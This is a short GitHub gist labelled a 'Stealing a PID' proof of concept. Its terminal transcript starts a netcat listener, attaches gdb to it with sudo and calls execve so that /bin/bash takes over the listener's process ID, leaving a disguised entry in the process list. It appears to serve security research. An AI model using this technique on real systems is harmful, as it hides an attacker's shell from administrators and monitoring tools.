Skip to content

Instantly share code, notes, and snippets.

@timb-machine
Last active June 29, 2022 23:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save timb-machine/6177721c3eafba3e95abdf112b2a5902 to your computer and use it in GitHub Desktop.
Save timb-machine/6177721c3eafba3e95abdf112b2a5902 to your computer and use it in GitHub Desktop.
Stealing a PID PoC
$ nc -v -l -p 5000 & ps -aef | grep nc; sudo gdb /bin/nc `pgrep nc`
timb 3976 952 0 00:22 pts/0 00:00:00 nc -v -l -p 5000
[1] 3976
listening on [any] 5000 ...
(gdb) info variable environ
All variables matching regular expression "environ":
(gdb) print execve("/bin/bash", 0x00007f717f158118, 0)
process 3976 is executing new program: /bin/bash
$ ps -aef | grep timb
timb 3976 952 0 00:22 pts/0 00:00:00 ?.#.?.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment